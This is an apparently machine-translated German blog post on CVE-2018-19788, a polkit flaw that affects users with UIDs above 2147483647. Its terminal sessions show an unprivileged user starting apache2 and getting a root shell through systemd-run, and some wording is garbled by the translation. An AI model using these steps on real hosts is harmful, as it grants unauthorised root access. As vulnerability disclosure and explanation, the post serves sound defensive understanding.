Setz dich, ich habe Neuigkeiten, die dich gerade schockieren ...
Linux-Betriebssysteme weisen eine unverhüllte Sicherheitsanfälligkeit auf, die es einem Benutzer mit geringen Berechtigungen ermöglicht, einen systemctl-Befehl auszuführen (und sogar root - ungefähr Übersetzer zu werden), wenn seine UID mehr als 2147483647 beträgt.
Die beschriebene Sicherheitsanfälligkeit, die als CVE-2018-19788 verfolgt wird, befindet sich in der
PolicyKit- Bibliothek (auch als
Polkit bezeichnet ) Version 0.115, die auf den meisten gängigen Linux-Distributionen vorinstalliert ist, darunter Red Hat, Debian, Ubuntu und CentOS. Polkit ist ein Tool auf UNIX-ähnlichen Systemen, mit dem Richtlinien definiert und privilegierten Prozessen privilegierter Zugriff gewährt wird. Im Gegensatz zu sudo werden dem Benutzer keine Administratorrechte gewährt, sondern Sie können genau steuern, was zulässig und was verboten ist.
Die Sicherheitsanfälligkeit ist auf einen Fehler beim Überprüfen von PolicyKit-Anforderungen auf Rechte für Benutzer mit einer UID größer als INT_MAX zurückzuführen. Wobei INT_MAX eine Konstante ist, die den Maximalwert einer Ganzzahlvariablen vom Typ Ganzzahl speichert, nämlich 2147483647 (in hexadezimaler 0x7FFFFFFF).
Wenn wir also ein Konto mit einer UID erstellen, die INT_MAX überschreitet, führt die PolicyKit-Komponente einen systemctl-Befehl erfolgreich aus.
Der Twitter-Sicherheitsforscher Rich Mirch, der sich als "
0xm1rch "
vorstellte, veröffentlichte einen PoC-Exploit (
Proof-of-Concept ), um die Sicherheitsanfälligkeit zu demonstrieren, die einen Benutzer mit einer UID von 4.000.000.000 erfordert.
Red Hat empfiehlt, dass Systemadministratoren keine negativen UIDs oder UIDs größer als 2147483646 zulassen, um das Problem zu beheben, bevor der Patch veröffentlicht wird.
Verschiedene Arbeitsmethoden eines Übersetzers
Der erste Weg ist einfach durch systemctl. Ich habe einen Benutzer mit einer großen UID erstellt und dann versucht, apache2 auszuführen:
1) überprüfte zuerst, ob er lügte
$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead)
2) versuchte zu starten, bekam aber einen Fehler
$ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
3) aber dann sichergestellt, dass es noch gestartet ist
$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service ├─2829 /usr/sbin/apache2 -k start ├─2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start
Die zweite Möglichkeit besteht darin, bash durch systemd auszuführen. Ich habe den folgenden Befehl ausgeführt, ein Textdokument im Stammverzeichnis des fs erstellt, eine Zeile hinzugefügt und das Ergebnis überprüft
$ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello
Beim Experimentieren in meinem Ubunt habe ich auch ein solches Muster gefunden: Wenn unter einem Benutzer mit einer solchen UID die Kontoeinstellungen aufgerufen werden, werden alle Einstellungen entsperrt, sodass Sie alle Benutzer bearbeiten / löschen können.
Es bleibt die Frage, wie nun das Auftreten eines Benutzers mit einer solchen UID auf dem Host des Opfers "verursacht" werden kann. Ist dieser Fehler wirklich eine Bedrohung?